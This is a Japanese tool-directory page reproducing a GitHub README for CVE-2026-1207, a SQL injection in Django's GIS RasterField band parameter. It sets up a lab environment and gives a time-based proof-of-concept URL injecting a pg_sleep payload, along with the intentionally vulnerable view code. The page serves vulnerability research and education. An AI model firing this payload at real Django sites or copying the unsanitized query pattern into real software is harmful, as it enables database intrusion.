Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-1207 — DjangoフレームワークでPostGISを使用して地理ラスターデータをクエリする際、未検証のユーザー入力をband index(バンドインデックス)パラメータとして直接使用すると、SQLインジェクションが発生します。 | Kitploit
ツール/GitHubGitHub/sw0rd1ight/cve-2026-1207
脆弱性分析エクスプロイトウェブアプリケーション悪用論文と研究学習と教育
GitHubsw0rd1ight/cve-2026-1207

CVE-2026-1207

DjangoフレームワークでPostGISを使用して地理ラスターデータをクエリする際、未検証のユーザー入力をband index(バンドインデックス)パラメータとして直接使用すると、SQLインジェクションが発生します。

リポジトリを見る
34ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-1207 Django GIS RasterField SQL インジェクション脆弱性再現

脆弱性概要

脆弱性タイプ: SQL インジェクション (SQL Injection) 影響コンポーネント: django.contrib.gis RasterField

Django GIS の RasterField を使用してクエリを実行する際、band パラメータが SQL 文に直接連結されるため、SQL インジェクション脆弱性が発生します。攻撃者は悪意のある band パラメータ値を構築することで、任意の SQL コードを注入できます。

プロジェクト構造

root@kitploit:~
CVE-2026-1207/
├── .devcontainer/     # VSCode DevContainer 設定
├── .vscode/           # VSCode 設定
├── vuln/             # 脆弱性デモアプリ
│   ├── models.py     # RasterField を含むモデル
│   ├── views.py      # 脆弱性トリガーポイント
│   └── migrations/   # データベースマイグレーションファイル
├── web/              # Django プロジェクト設定
├── manage.py
├── README.md

環境起動

この脆弱性プロジェクトは VSCode の devcontainer を使用して構築します。

1️⃣ プロジェクトを開く

VS Code で既存のプロジェクトルートディレクトリ(.devcontainer フォルダを含む)を開きます。

2️⃣ コンテナを再度開く(Dev Container の構築)

Ctrl+Shift+P(Windows/Linux)または Cmd+Shift+P(Mac)を押します

Remote-Containers: Reopen in Container と入力します

VS Code が .devcontainer 設定を読み取り、コンテナを構築します(初回構築には数分かかる場合があります)

⚠️ Dockerfile または依存関係が更新された場合は、Remote-Containers: Rebuild Container を選択して、最新の環境を使用していることを確認してください。

3️⃣ Django 開発サーバーを実行

コマンドパレット Ctrl+Shift+P を開きます

Tasks: Run Task と入力します

django:start を選択します(タスクは .vscode/tasks.json で設定済み)

このタスクはコンテナ内で Django 開発サーバーを起動します

デフォルトで 0.0.0.0:8087 をリッスンします

4️⃣ ブラウザでプロジェクトにアクセス

ブラウザで以下にアクセスします:

root@kitploit:~
http://localhost:8087

5️⃣ 注意事項

初回実行時はデータベースマイグレーションの実行が必要な場合があります:

root@kitploit:~
python manage.py migrate

脆弱性再現

脆弱性分析の詳細は以下に掲載されています 先知https://xz.aliyun.com/news/91993

微信公式アカウントhttps://mp.weixin.qq.com/s/p7EZRKZBp-mRGhYqyc8i3A

POC: 遅延インジェクション

以下の URL にアクセスして SQL インジェクションをトリガーします:

root@kitploit:~
http://localhost:8087/book/search?band=1);select%20%271%27||pg_sleep(3)%20--

応答時間を観察します。通常のリクエストは即座に応答するはずですが、インジェクションリクエストは約 3 秒遅延します。

脆弱性コードの場所

vuln/views.py:36

root@kitploit:~
def get(self, request: HttpRequest):
    band = request.GET.get("band", 1)  # ← フィルタリングされていないユーザー入力
    rast = GDALRaster(...)
    qs = RasterModel.objects.filter(rast__contains=(rast, band))  # ← band がクエリに直接渡される
    print(qs.query)  # ← 生成された SQL を確認
    qs.count()
    return HttpResponse("book app")

生成された SQL(インジェクション後)

root@kitploit:~
SELECT ... FROM vuln_rastermodel
WHERE ST_Contains("vuln_rastermodel"."rast", ST_ContainsParam(..., 1);select '1'||pg_sleep(3) --))

免責事項

このプロジェクトはセキュリティ研究および教育目的のみで提供されています。許可のないシステムで使用しないでください。

ツールをダウンロード